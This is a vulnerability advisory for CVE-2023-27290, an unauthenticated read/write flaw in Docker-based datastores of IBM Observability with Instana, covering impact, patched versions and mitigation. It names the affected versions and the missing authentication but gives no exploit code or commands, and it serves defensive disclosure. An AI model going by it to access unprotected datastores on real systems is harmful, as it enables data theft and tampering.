CVE-2023-27290
Overview
This vulnerability is an authentication bypass affecting Docker-based datastores in IBM Observability with Instana versions 239-0 through 239-2, 241-0 through 241-2, and 243-0. The root cause is the absence of authentication enforcement on datastore access endpoints, allowing unauthenticated network users to interact with the datastore. The affected component is the internal Docker datastore service used by IBM Instana for data storage and retrieval.
Vulnerability Description
Docker based datastores for IBM Instana (IBM Observability with Instana 239-0 through 239-2, 241-0 through 241-2, and 243-0) do not currently require authentication. Due to this, an attacker within the network could access the datastores with read/write access. IBM X-Force ID: 248737.
Impact
An attacker with network access can directly read from and write to the IBM Instana datastore without authentication, enabling unauthorized data manipulation or exfiltration. No user interaction or privileges are required, as the vulnerability is exploitable remotely over the network (AV:N/AC:L/PR:N/UI:N). This can lead to compromise of observability data integrity and confidentiality, potentially undermining monitoring and incident response capabilities within affected environments.
Solution
IBM has released patches addressing this authentication bypass in IBM Observability with Instana versions 239-3, 241-3, and later. Users should apply the updates as detailed in IBM advisory https://www.ibm.com/support/pages/node/6959969. The advisory provides step-by-step instructions for upgrading affected versions to enforce authentication on datastore endpoints. No alternative workarounds are specified; applying the vendor patch is required to remediate this issue.

Full Analysis
The vulnerability in the Docker-based datastores for IBM Observability with Instana arises from the lack of authentication mechanisms. This oversight allows unauthorized access to sensitive data stored within the datastores. An attacker who gains access to the network can exploit this weakness to interact with the datastores without any form of credential verification. The absence of authentication means that both read and write operations can be performed by any user who can reach the datastore, potentially leading to significant data breaches or corruption.
Attack vectors for this vulnerability are primarily internal, as the lack of authentication implies that an attacker must already have network access. This could be achieved through various means, such as social engineering, exploiting other vulnerabilities within the network, or insider threats. Once inside the network, an attacker can leverage tools to discover the datastores and initiate unauthorized access. Scenarios may include altering configuration settings, deleting critical data, or exfiltrating sensitive information, which could have severe implications for the integrity and confidentiality of the data being managed.
The real-world impact of this vulnerability is substantial, particularly for organizations relying on IBM Observability with Instana for monitoring and managing their applications and infrastructure. The potential for unauthorized data manipulation not only poses a risk to operational continuity but also threatens compliance with data protection regulations. Businesses could face legal repercussions, financial losses, and damage to their reputation if sensitive information is compromised or if their services are disrupted due to malicious activities. The high CVSS score of 9.1 indicates that this vulnerability is critical and should be prioritized for remediation.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, conducting a thorough assessment of the network architecture to identify and isolate the datastores is essential. Employing network segmentation can limit access to sensitive components and reduce the attack surface. Additionally, organizations should enforce strict access controls and implement robust authentication mechanisms for all services, including those provided by IBM Observability with Instana. Regular security audits and penetration testing can help identify potential weaknesses and ensure that security measures are effective.
In conclusion, the vulnerability in the Docker-based datastores for IBM Observability with Instana represents a significant security risk. The lack of authentication allows for unauthorized access, leading to potential data breaches and operational disruptions. Organizations must take proactive measures to detect and mitigate this vulnerability, ensuring that their data remains secure and that they comply with relevant regulations. By implementing strong access controls, conducting regular assessments, and fostering a culture of security awareness, businesses can protect themselves from the threats posed by this and similar vulnerabilities.
